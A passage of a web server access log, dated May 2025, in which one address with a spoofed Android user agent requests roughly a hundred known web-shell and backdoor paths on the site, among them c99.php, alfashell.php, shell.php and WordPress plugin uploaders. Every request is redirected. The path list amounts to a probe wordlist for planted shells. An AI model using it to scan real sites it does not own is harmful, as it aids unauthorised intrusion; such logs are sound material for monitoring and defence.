7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:37 -0400] "GET /legion.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:39 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:42 -0400] "GET /shells.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:44 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:46 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:49 -0400] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:50 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:52 -0400] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:54 -0400] "GET /wp-content/themes/config.bak.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:57 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:59 -0400] "GET /wp-includes/css/css.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:01 -0400] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:03 -0400] "GET /wp-beckup.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:07 -0400] "GET /wp-blog-post.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:08 -0400] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:13 -0400] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:14 -0400] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:17 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:19 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:20 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:22 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:25 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:26 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:28 -0400] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:30 -0400] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:32 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:33 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:35 -0400] "GET /1xleet.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:37 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:39 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:40 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:42 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:47 -0400] "GET /4index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:49 -0400] "GET /5index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:52 -0400] "GET /6index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:55 -0400] "GET /7index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:57 -0400] "GET /8index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:47:59 -0400] "GET /9index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:48:02 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:48:03 -0400] "GET /Uploader.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:48:06 -0400] "GET /wp-includes/wp-red.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:48:07 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:48:11 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:48:14 -0400] "GET /am.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:48:17 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:48:18 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.87.240 - - [01/May/2025:00:48:20 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 51.195.129.164 - - [01/May/2025:00:48:21 -0400] "GET /demo328/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:48:22 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:48:27 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:48:30 -0400] "GET /images/sym.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:48:32 -0400] "GET /lab.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:48:36 -0400] "GET /leaf_mailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:48:39 -0400] "GET /leaf_php.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:48:41 -0400] "GET /libraries/joomla/jmail.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:48:43 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:48:47 -0400] "GET /mailer1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:48:48 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:48:51 -0400] "GET /rxr.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:48:55 -0400] "GET /srx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:48:58 -0400] "GET /tuco.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:00 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:02 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:04 -0400] "GET /wp-admin/css/colors/coffee/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:07 -0400] "GET /wp-admin/css/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:10 -0400] "GET /wp-admin/includes/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:13 -0400] "GET /wp-admin/maint/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:14 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:16 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:18 -0400] "GET /wp-content/plugins/xichang/x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:21 -0400] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:23 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:24 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:27 -0400] "GET /wp-mna.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:29 -0400] "GET /uploads/upload.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:31 -0400] "GET /wpx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:34 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:36 -0400] "GET /xhell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:37 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:41 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:43 -0400] "GET /yuuki.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:44 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:47 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:53 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:54 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:56 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:58 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:49:59 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:50:02 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:50:05 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:50:07 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:50:11 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:50:14 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:50:16 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:50:19 